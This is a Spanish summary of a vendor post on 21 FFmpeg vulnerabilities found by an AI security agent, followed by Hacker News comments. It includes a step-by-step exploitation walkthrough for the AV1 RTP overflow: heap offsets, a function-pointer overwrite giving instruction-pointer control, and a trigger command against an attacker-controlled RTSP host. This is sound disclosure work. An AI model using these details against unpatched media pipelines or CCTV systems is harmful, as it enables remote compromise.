- FFmpeg, que procesa medios en navegadores e infraestructura de streaming de todo el mundo, analiza entradas complejas y no confiables, lo que lo convierte en una superficie de ataque importante para la seguridad
- El agente de seguridad autónomo de depthfirst encontró 21 zero-days en alrededor de 1.5 millones de líneas de código C optimizado, con un costo de unos $1k, aproximadamente el 10% de los $10k que costó usar Mythos de Anthropic
- Los hallazgos abarcan varios componentes, incluidos el demuxer TS, el decoder VP9 y las rutas de procesamiento de RTP/RTSP/RTMP, y algunas vulnerabilidades permanecieron latentes durante 15 a 20 años
- Una vulnerabilidad en el depacketizer RTP de AV1 llevó a una PoC que sobrescribe un puntero de función con un paquete RTP de solo 183 bytes, y puede alcanzarse con solo ejecutar
ffmpeg -i rtsp://attacker/stream
- La validación de seguridad real requiere no solo advertencias teóricas, sino también entradas reproducibles y confirmación de ejecución, y el análisis basado en agentes puede aplicarse directamente para descubrir vulnerabilidades ocultas en grandes bases de código en C
Resumen
- FFmpeg es software ampliamente desplegado para procesar medios en navegadores y en la infraestructura de grandes plataformas de streaming
- Como es una biblioteca que analiza continuamente medios complejos y no confiables, es crítica para la seguridad y un objetivo principal de ataques de zero-click
- El repositorio de FFmpeg consta de aproximadamente 1.5 millones de líneas de código C altamente optimizado y analiza cientos de formatos multimedia complejos
- FFmpeg ha sido sometido a fuzzing y auditorías manuales durante más de 20 años, y recientemente el equipo de Google Big Sleep publicó 13 vulnerabilidades en FFmpeg
- Anthropic escaneó FFmpeg con el modelo Mythos y encontró algunos problemas de seguridad
- Después de ese trabajo previo, encontrar nuevas vulnerabilidades en FFmpeg se volvió más difícil, y pasó a ser un buen objetivo para evaluar la capacidad de sistemas basados en agentes de escanear profundamente bases de código grandes
El agente de seguridad de Depthfirst
- Los agentes de programación y los agentes de seguridad pueden usar el mismo modelo base, pero sus objetivos son muy distintos
- Un agente de programación normalmente se enfoca en recibir tareas humanas y escribir código de aplicación
- Un agente de seguridad asume un rol más acotado y orientado a objetivos: encontrar problemas de seguridad realmente explotables en sistemas existentes sin instrucciones concretas
- Un agente de seguridad primero debe entender la arquitectura de la base de código, los parsers y manejadores de protocolo expuestos, y los puntos de entrada de entradas controladas por atacantes
- Luego, en lugar de tratar el repositorio como un conjunto plano de archivos, sigue el flujo de datos desde el código de superficie de ataque hasta los componentes relacionados
- Un agente de seguridad práctico necesita guardrails que eviten inventar condiciones faltantes, exagerar bugs teóricos o generar grandes cantidades de falsos positivos
- Debe verificar si un atacante realmente controla la entrada correcta, si puede alcanzar la ruta vulnerable y si el defecto sospechado es reproducible
- Cuando hace falta, debe identificar o crear un harness que interactúe con el componente objetivo para poner a prueba la hipótesis de forma concreta
- El agente de seguridad especializado de depthfirst analiza el código en profundidad y ramifica múltiples hipótesis en paralelo para probarlas
- El resultado no es un reporte teórico ni advertencias vagas, sino problemas de seguridad concretos, reproducibles y confirmados en ejecución
Hallazgos
- El agente encontró un total de 21 zero-days, con un alcance que va desde el demuxer TS hasta el decoder VP9
- El costo total fue de aproximadamente $1k, cerca del 10% de lo que Anthropic gastó usando Mythos
- Comparación de costos: {b:1,10}
-
Vulnerabilidades con CVE asignado
- CVE-2026-39210 es un heap buffer overflow en el demuxer TS por falta de verificación de límites de longitud antes de leer dos bytes, introducido en 2010
- CVE-2026-39211 es un integer overflow introducido en 2010 durante una refactorización de swscale, donde una fórmula de factor de tamaño sin límite superior permitía que parámetros controlados por el usuario provocaran escalado arbitrariamente grande
- CVE-2026-39212 es un stack overflow en
ffmpeg_opt.c, donde un archivo preset podía disparar recursivamente el parseo de opciones sin límite de profundidad, introducido como regresión en julio de 2025
- CVE-2026-39213 es un heap buffer overflow en la ruta de entrada rawvideo de yuv4mpegenc por falta de validación de dimensiones sobre el tamaño del paquete, introducido en 2023
- CVE-2026-39214 es un stack buffer overflow en la implementación original de SDT, que escribía entradas de servicio sin rastrear el espacio restante, introducido en 2003 y latente durante 23 años
- CVE-2026-39215 es un heap buffer overflow en el que un error lógico dentro de
update_mb_info() hace que una llamada posterior escriba 12 bytes después del buffer asignado, introducido en 2012
- CVE-2026-39216 es un heap buffer overflow en
img2enc.c causado por reemplazar un tamaño seguro de croma por un tamaño ilimitado basado en dimensiones, introducido en 2012
- CVE-2026-39217 es un heap buffer overflow en el decoder VP9, donde una función refactorizada de actualización de tamaño hace que el buffer de tile thread omita una realocación necesaria, introducido como regresión en marzo de 2025
- CVE-2026-39218 es un heap buffer overflow en el demuxer DASH por no rechazar valores negativos de duration, lo que hace que el índice del arreglo de fragmentos se vuelva negativo, introducido en 2017
-
Vulnerabilidades referenciadas con ID interno de seguimiento
- DFVULN-127 es un heap buffer overflow en
av1_handle_packet() del depacketizer RTP de AV1: al omitir un OBU Temporal Delimiter avanza la posición de salida en obu_size, pero no asigna espacio del mismo tamaño, así que el siguiente OBU escribe fuera de los límites del buffer
- DFVULN-126 es un heap buffer overflow en el que
run_legacy_unscaled() del código de grafo de swscale maneja mal la conversión interlaced YUV420P→NV12 y sobrescribe el Y-plane de destino por 576 bytes
- DFVULN-125 es un stack buffer overflow en el que
jpeg_create_header() del depacketizer RTP JPEG construye una sección de tabla de cuantización dentro de un buffer de pila de 1024 bytes, y después de un paquete con qtable_len >= 1024, AV_WB16 escribe 2 bytes más allá del final
- DFVULN-124 es un heap buffer overflow en el que
istg_parse_tile_grid() de la ruta AVIF overlay no rechaza referencias dimg con cero entradas de tile, causando una lectura fuera de rango en una asignación heap de 1 byte tras un wraparound sin signo
- DFVULN-123 es un integer overflow en el que
latm_parse_packet() del depacketizer RTP LATM evita una verificación de límites mediante overflow en una suma signed de 32 bits y hace que memcpy lea alrededor de 1 GB después del final del heap buffer
- DFVULN-122 es un heap buffer overflow en el que
aac_parse_packet() del depacketizer RTP MPEG-4 acepta AU-headers-length 0, crea una asignación de 1 byte y luego lee un campo de 4 bytes sin verificar que exista un AU header
- DFVULN-121 es un heap buffer underflow en el que
read_seek() del demuxer CAF usa como índice de arreglo el valor de retorno -1 de av_index_search_timestamp() sin comprobarlo y accede a index_entries[-1]
- DFVULN-120 es un integer underflow en el que
ff_read_riff_info() del demuxer AVI recibe size - 4 sin verificar size >= 4, por lo que un tamaño de chunk LIST igual a 0 produce un underflow a cerca de 4 GB y provoca una asignación de unos 2 GB
- DFVULN-119 es un heap buffer overflow en el que un incremento innecesario en
opt_map() del option parser interpreta mal una link-label como file index y guarda stream index -1, haciendo que un bucle posterior lea antes del arreglo AVStream**
- DFVULN-118 es un heap buffer overflow en el que
rtsp_read_announce() de la ruta de servidor RTSP trata un Content-Length negativo como válido y permite que un ANNOUNCE remoto con Content-Length: -1 provoque una escritura fuera de rango en sdp[-1]
- DFVULN-117 es un heap buffer overflow en el que
rtmp_calc_swfhash() del cliente RTMP solo verifica in_size < 3 en vez de in_size < 8, por lo que lee 8 bytes desde un buffer de apenas 3 bytes
- DFVULN-116 es un heap buffer overflow en el que
sdp_parse_line() del parseo SDP de RTSP calcula strlen(control_url) - 1 sobre una cadena vacía, haciendo que size_t haga wraparound a SIZE_MAX y produciendo una lectura previa al buffer de 1 byte
Del marcador de frame omitido al control del PC
- Entre los 21 hallazgos, el heap buffer overflow del depacketizer RTP de AV1 es alcanzable desde la red sin flags especiales
- La víctima solo necesita ejecutar
ffmpeg -i rtsp://attacker/stream, y un solo paquete de 183 bytes basta para desviar el flujo de ejecución
- Cuando FFmpeg obtiene un stream RTSP, el servidor entrega video codificado como una secuencia de paquetes RTP
- AV1 estructura el bitstream en OBU (Open Bitstream Units), y el formato de payload RTP divide estos OBU en varios paquetes
- El depacketizer de FFmpeg vuelve a unir los OBU divididos en un elementary stream limpio
- Temporal Delimiter (TD) es un marcador pequeño que separa una temporal unit, es decir, un frame del siguiente
- La especificación establece que el depacketizer debe “ignore and remove” los TD dentro del payload
- Ese manejo de “ignore and remove” fue exactamente el punto problemático que captó el agente
Causa raíz
- El depacketizer construye gradualmente el paquete de salida, y el cursor
pktpos sigue la posición dentro de pkt->data donde se escribirá el siguiente byte
pktpos comienza al final actual del paquete
// libavformat/rtpdec_av1.c:199
pktpos = pkt->size;
- Cuando el código recorre los elementos OBU del paquete, cada byte que realmente emite está precedido por una llamada a
av_grow_packet, que amplía la asignación heap de pkt->data
- El invariante del que depende toda la rutina es que
pktpos no debe avanzar más allá del tamaño asignado de pkt->data
- El código que maneja Temporal Delimiter rompe ese invariante
// libavformat/rtpdec_av1.c:250
if ((obu_type == AV1_OBU_TEMPORAL_DELIMITER) ||
(obu_type == AV1_OBU_TILE_LIST)) {
pktpos += obu_size;
rem_pkt_size -= obu_size;
obu_cnt++;
continue;
}
- Al omitir un TD,
pktpos avanza según el obu_size declarado por el atacante, pero no se asigna memoria que respalde ese avance
- El puntero de entrada
buf_ptr tampoco se mueve detrás de los bytes del TD
- Si el TD tiene
obu_size = 148, pktpos pasa a 148, pero pkt->data puede seguir sin asignarse o ser mucho menor a 148 bytes
- La siguiente iteración vuelve a parsear los bytes del propio TD y relee el byte de encabezado del TD como si fuera la longitud de un nuevo OBU, usando el payload como contenido del OBU manipulado
- En el siguiente OBU normal, el paquete solo crece en el tamaño de ese OBU
// libavformat/rtpdec_av1.c:296
if ((result = av_grow_packet(pkt, output_size)) < 0)
return result;
// libavformat/rtpdec_av1.c:304 / 336
pkt->data[pktpos++] = *buf_ptr++ | AV1F_OBU_HAS_SIZE_FIELD;
memcpy(pkt->data + pktpos, buf_ptr, obu_payload_size);
- Si el OBU manipulado mide 17 bytes,
av_grow_packet asigna un buffer de 81 bytes al sumar esos 17 bytes y el padding de entrada de 64 bytes de FFmpeg
- La escritura comienza en
pkt->data[148], es decir, 67 bytes después del final de la asignación
- Este defecto se convierte en un heap buffer overflow donde el atacante controla tanto el offset como el contenido
Forma de explotación
- Para que un overflow controlable sea útil, debe haber un objetivo sobrescribible justo después del buffer, y el allocator de FFmpeg proporciona ese objetivo
- Cuando
av_grow_packet asigna el buffer de datos del paquete, pasa por av_buffer_alloc, y esa función asigna en el heap, en orden, el buffer de datos, la estructura de bookkeeping AVBuffer y AVBufferRef
- FFmpeg asigna con
posix_memalign de alineación de 64 bytes, así que un buffer de datos de 81 bytes ocupa un chunk de 128 bytes y la estructura AVBuffer queda justo después
- La estructura
AVBuffer contiene un puntero de función usado como callback de liberación
// libavutil/buffer_internal.h
struct AVBuffer {
uint8_t *data; // +0
size_t size; // +8
atomic_uint refcount; // +16
void (*free)(void *opaque, uint8_t *data); // +24
void *opaque; // +32
...
};
- Tomando como base el inicio del buffer de datos, el puntero
AVBuffer.free está en el offset 152
- Con un TD de
obu_size = 148, la escritura comienza en pkt->data[148]
- El byte de encabezado del TD
0x10 se reinterpreta como longitud 16, y el header y payload del OBU manipulado de 16 bytes se escriben a partir del offset 148
AVBuffer.refcount está en los offsets 144–147, así que queda antes del inicio de escritura en 148 y conserva su valor original 1
- El exploit inserta un tercer OBU manipulado dentro del payload del TD para provocar una llamada adicional a
av_grow_packet
- Como el buffer fue creado con
av_buffer_alloc y no con av_buffer_realloc, no queda marcado como reallocatable, y FFmpeg toma la ruta de asignar un nuevo buffer y luego liberar el anterior
// libavutil/buffer.c:209
if (!(buf->buffer->flags_internal & BUFFER_FLAG_REALLOCATABLE) || ...) {
ret = av_buffer_realloc(&new, size);
memcpy(new->data, buf->data, ...);
buffer_replace(pbuf, &new);
return 0;
}
buffer_replace reduce el refcount del buffer anterior de 1 a 0 y llama al callback de liberación
// libavutil/buffer.c:129
if (atomic_fetch_sub_explicit(&b->refcount, 1, memory_order_acq_rel) == 1) {
b->free(b->opaque, b->data);
}
- En ese momento se invoca el puntero
free sobrescrito, lo que permite controlar el instruction pointer
- En una release build, un solo paquete RTP de 183 bytes hizo que
rip tomara el valor 0xdeadbeef
#0 0x00000000deadbeef in ?? ()
rip 0xdeadbeef 0xdeadbeef
#1 buffer_replace (buffer.c:133)
#2 av_buffer_realloc (buffer.c:220)
#3 av_grow_packet (packet.c:151)
#4 av1_handle_packet (rtpdec_av1.c:296)
#5 rtp_parse_packet_internal (rtpdec.c:743)
Alcance e PoC
- Los entornos de despliegue donde FFmpeg abre URLs RTSP que pueden ser influenciadas por un atacante están expuestos a esta vulnerabilidad
- Las pipelines de ingestión de medios que obtienen URLs de stream proporcionadas por usuarios entran en el alcance afectado
- Los sistemas de vigilancia y CCTV que obtienen feeds RTSP entran en el alcance afectado
- Los servicios de transcodificación que procesan fuentes remotas AV1-over-RTP entran en el alcance afectado
- No se requiere autenticación ni interacción del usuario más allá de abrir el stream, y tampoco hacen falta flags extrañas de línea de comandos
- La vulnerabilidad se activa durante la fase RTSP
PLAY normal que estos clientes realizan por diseño
- El código PoC está en ffmpeg-dfvuln127
1 comentarios
Comentarios en Hacker News
FFmpeg tiene un historial inusualmente malo en temas de seguridad
Desde hace mucho, cada vez que se le corre un fuzzer aparecen bugs de corrupción de memoria casi sin fin, y hasta hubo trabajo de empleados de Google hace 10 años: https://security.googleblog.com/2014/01/ffmpeg-and-thousand-...
Así que, aunque esto sea una demo que muestra la capacidad de los LLM, no es algo sorprendente. Si manejas contenido no confiable o proporcionado por usuarios, no deberías ejecutar FFmpeg fuera de un sandbox, y hacerlo implica asumir un riesgo poco razonable
Dijeron algo así como que había una vulnerabilidad en un códec extremadamente de nicho, de esos que se usan en un solo videojuego de los 90, y que quien la reportó la trató como si fuera gravísima, cuando en realidad no lo era porque ese códec casi no se usa
Pero me quedé pensando si no están pasando por alto el hecho de que, si un atacante puede proporcionar un archivo de video, puede elegir libremente qué códec de video usar. Aunque el desarrollador crea que ese códec no se usa en absoluto, si sigue estando disponible, un atacante puede aprovecharlo
Me pregunto si se me escapa algo, o si de verdad hay una razón válida para considerar que una vulnerabilidad en ese códec no es gran cosa
Hasta hace poco ni siquiera era posible hacer sandbox a un reproductor de video sin perder toda la aceleración por hardware, porque no había contexto nativo de GPU virtio. Al menos no era viable imponerlo desde fuera; internamente sí se podía aislar FFmpeg y sujetarlo fuerte con seccomp, como hace Chromium
No es un problema exclusivo de FFmpeg. Apple también ha tenido incontables vulnerabilidades en decodificadores de imagen y video. Este campo en sí es muy difícil, y FFmpeg hace más cosas que cualquiera
Creo que la industria está optimizando para el objetivo equivocado. Es fácil generar miles de reportes de bugs escritos por IA con algo como Mythos preview 1 o GPT-5.5. Lo difícil es corregir los bugs de verdad
Desde hace unos meses estoy construyendo un sistema que, en lugar de solo encontrar issues de seguridad críticos y subir reportes, abre PRs. Hasta ahora la tasa de aceptación es de aproximadamente 94%. La mayoría de los fallos no se debieron a falsos positivos sobre vulnerabilidades, sino a kill switches específicos del proyecto no documentados o mecanismos internos
A los desarrolladores, en general, parece gustarles más este enfoque. Un bug report crea trabajo; un buen PR reduce trabajo. Parece obvio, pero muchos productos de seguridad todavía se quedan en el reporte y ahí terminan
Ha sido así desde que existe la industria, y apenas ahora estamos empezando a tener herramientas adecuadas para evaluar el daño y la fragilidad general que eso ha producido
Este bug es serio por su alcance. Cualquier despliegue donde FFmpeg apunte a una URL RTSP influenciada por un atacante queda expuesto
Eso incluye pipelines de ingesta de medios que toman URLs de streams proporcionadas por usuarios, sistemas de vigilancia y CCTV que consumen feeds RTSP, y servicios de transcodificación que procesan fuentes remotas AV1-over-RTP. En la práctica, es bastante serio, y hasta resulta sorprendente que se haya hecho público. Se me ocurren varios servicios que parecen explotables ahora mismo
Aunque esto quizá no sea para tanto y parezca más un anuncio de una empresa de seguridad, sí recuerda que en alguna parte de toda aplicación que lanzas hay agujeros de seguridad, y que ahora hasta un script kiddie puede encontrarlos 5 minutos después del lanzamiento con 2 dólares en créditos
Si no validas el código con un red team antes del lanzamiento, los hackers lo harán por ti después
El término zero-day se está usando de forma inflada. Entre las vulnerabilidades descritas no hay ningún zero-day real, pero llamarlas así suena bien y da clics
“En este punto se llama a un free pointer corrupto y el control del puntero de instrucciones es nuestro” es algo muy serio
Aun así, en la práctica no parece que este bug por sí solo permita ejecución remota arbitraria de código. Sobre todo si hay ASLR, y además tendría que existir en algún lado una página de memoria escribible y ejecutable
system()Aun así, para romper ASLR haría falta otro exploit
Ese no es el significado de “zero-day”
La estructura de incentivos en el campo de la investigación en seguridad está profundamente rota
Son como mandos medios del mundo FOSS. Reciben elogios por cargarles más trabajo a voluntarios, y cuanto más urgente sea ese trabajo, más elogios reciben. Reconocer el impacto real o las implicaciones prácticas de un issue entra en conflicto con sus incentivos
Es difícil no verlos como los encargados de limpiar el fondo mugroso de la industria del software, y ya va siendo hora de empezar a tratarlos como parias. Que manden un PR, o que se callen
Llevo usando FFmpeg desde hace muchísimo tiempo, tanto a nivel personal como en servicios que he creado. Fabrice Bellard es un genio, y los desarrolladores que llevaron FFmpeg hasta aquí han hecho el mundo perceptiblemente más rico
Pero no se me ocurre ningún programa que valga más la pena aislar en sandbox que FFmpeg cuando se ejecuta con entradas no confiables. Esto se debe a que una enorme base de código en C maneja códecs complejos de video y audio que son notoriamente difíciles de implementar con total corrección
Aun así, en la práctica no es un problema tan grande. Ejecutas FFmpeg dentro de una VM o de gVisor, y el resultado final normalmente es un archivo de video que de todos modos estarías dispuesto a reproducir en el navegador. En el navegador también se decodifica dentro de otro sandbox, así que esto ya era difícil desde el principio
Un sandboxing seguro suele convertirse en una oportunidad para permitir copias sin restricciones
Es una vulnerabilidad en la que
latm_parse_packet()realiza una suma con signo de 32 bits en el código de despaquetización inversa de RTP LATM, provoca un overflow y evade la verificación de límitesOtra vez aparece una vulnerabilidad por una suma sin comprobación, y aun así lenguajes modernos como Rust o Go no lanzan excepciones por overflow, y arquitecturas modernas de CPU como RISC-V tampoco ofrecen traps de overflow. Los lenguajes antiguos como C o C++ tampoco tienen comprobación de overflow
Es ridículo. Está claro que no se puede confiar en que la gente escriba código aritmético correcto
Además, el comportamiento predeterminado del overflow de enteros en modo release en Rust está definido; simplemente hace wrapping. Por eso es menos probable que termine en una vulnerabilidad. Claro, eso cambia cuando empiezas a usar unsafe Rust
Rust no lanza excepciones por overflow por defecto, pero puedes escribir algo como
123.checked_add(321). Eso vuelve el código más difícil de leer, pero lo hace seguro frente al overflowSinceramente, por la forma en que escribo código, preferiría algo como un comentario al final de la línea. Por ejemplo, algo como
var x = y + z; # wrappedEs muy poco probable que mezcles aritmética con wrapping, con comprobación y saturada dentro de una misma línea. En Zig, cada línea debe poder compilar por sí sola sin depender de otro contexto del código, así que no se permiten estados del compilador como
doing(wrapped) { x + y }. Los nombres de función son demasiado verbosos, y los casts también son demasiado verbosos. Un modificador a nivel de sentencia podría ser una buena solución intermedia